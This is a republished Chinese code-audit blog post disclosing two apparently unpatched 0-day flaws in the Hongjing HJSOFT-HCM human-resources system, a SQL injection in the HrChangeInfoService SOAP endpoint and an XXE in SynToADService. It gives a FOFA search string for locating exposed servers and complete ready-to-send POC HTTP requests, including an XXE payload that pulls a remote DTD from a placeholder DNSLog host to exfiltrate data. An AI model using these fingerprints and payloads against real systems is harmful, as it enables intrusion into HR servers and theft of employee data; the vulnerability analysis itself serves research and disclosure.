文章总结: 本文对宏景人力资源信息管理系统进行代码审计,发现两处0day漏洞。第一处为SQL注入漏洞,位于HrChangeInfoService类的returnSynchroString方法,因cheakCode方法直接将可控参数拼接至select语句导致;第二处为XXE漏洞,位于SynToADService类的sendSyncMsg方法,因使用SAXBuilder解析外部可控XML且未禁用外部实体导致。文章提供了完整的POC数据包及漏洞利用路径分析。 综合评分: 85 文章分类: 代码审计,漏洞分析,WEB安全,漏洞POC,安全研究
[跟着静师傅学代码审计]宏景人力资源信息管理系统代码0day审计
原创
静师傅 静师傅
安静安全
2026年2月10日 09:06 广东
点击上方「蓝字」,关注我们
01
SQL注入漏洞
fofa:
app=”HJSOFT-HCM”
SQL注入POC数据包:
POST /services/HrChangeInfoService HTTP/1.1Host: IP:PORTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/xmlContent-Length: 448
<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.core.hrms.com"> <soapenv:Header/> <soapenv:Body> <ser:returnSynchroString> <strString>test</strString> <username>admin';*</username> <password>test</password> </ser:returnSynchroString> </soapenv:Body></soapenv:Envelope>
漏洞分析:
查看web.xml,我给出的POC接口用的是/services,其实也可以是/servlet/XFireServlet/接口,因为调用的都是同一个calss类。
分析:
org.codehaus.xfire.transport.http.XFireConfigurableServlet
该XFireConfigurableServlet.class主要是通过配置文件META-INF/xfire/services.xml进行后续的操作,跟进servies.xml查看。
逻辑是通过不同的命名name进入相应的serviceClass类进行处理,SQL注入漏洞是在HrChangeInfoService,跟进com.hjsj.hrms.service.core.HrChangeInfoService分析代码。
在HrChangeInfoService类下会有不同的方法。
位于代码163行的returnSynchroString方法存在SQL注入漏洞,接收参数为strString、username、password,接着跟进this.cheakCode查看。
可以看到,在cheakCode方法下可控参数直接拼接了select语句导致形成SQL注入漏洞。
其他方法如getWhereChangeUsers同样是通过this.cheakCode导致SQL注入漏洞。
02
XXE漏洞
POC数据包如下:
POST /services/SynToADService HTTP/1.1Host: IP:PORTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0Content-Type: text/xml; charset=UTF-8SOAPAction: ""Content-Length: 850
<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.core.hrms.com"> <soapenv:Header/> <soapenv:Body> <ser:sendSyncMsg> <xmlMessage> <![CDATA[<!DOCTYPE hr [ <!ENTITY % remote SYSTEM "你的DNSLog链接"> %remote; %send; ]> <hr> <recs> <rec>org,emp</rec> </recs> <jdbc> <datatype>oracle</datatype> <database>test</database> <ip_addr>127.0.0.1</ip_addr> <username>test</username> <port>1521</port> <pass>test</pass> </jdbc> </hr>]]> </xmlMessage> </ser:sendSyncMsg> </soapenv:Body></soapenv:Envelope>
成功复现。
漏洞分析:
在services.xml文件中,位于命名空间SynToADService下的Class位置com.hjsj.hrms.service.ladp.SynToADService进行漏洞分析。
在sendSyncMsg方法中,接收参数xmlMessage,触发XXE外部实体注入的问题是出现在synUtils.parseXml中,跟进synUtils.parseXml查看。
跟进后来到该parseXML方法中,可以看到形成XML外部实体注入的原因是因为:
SAXBuilder saxbuilder = new SAXBuilder(); // 漏洞点1:未配置安全属性StringReader reader = new StringReader(xmlMessage);Document doc = saxbuilder.build(reader); // 漏洞点2:直接解析外部可控的XML
并且由于xmlMessage参数是外部传入的可控字符串,从而可以解析外部XML形成XXE外部实体注入漏洞。
往期文章推荐
[跟着静师傅学代码审计]月子会所ERP管理云平台0day审计
[跟着静师傅学代码审计]itc中心管理服务器审计
[跟着静师傅学代码审计-全网首发]用友U9 V6.6企业版多组织企业互联网应用平台命令执行+SQL+反序列化
公众号:安静安全
点个「在看」,你最好看
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安静安全 静师傅 静师傅《[跟着静师傅学代码审计]宏景人力资源信息管理系统代码0day审计》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论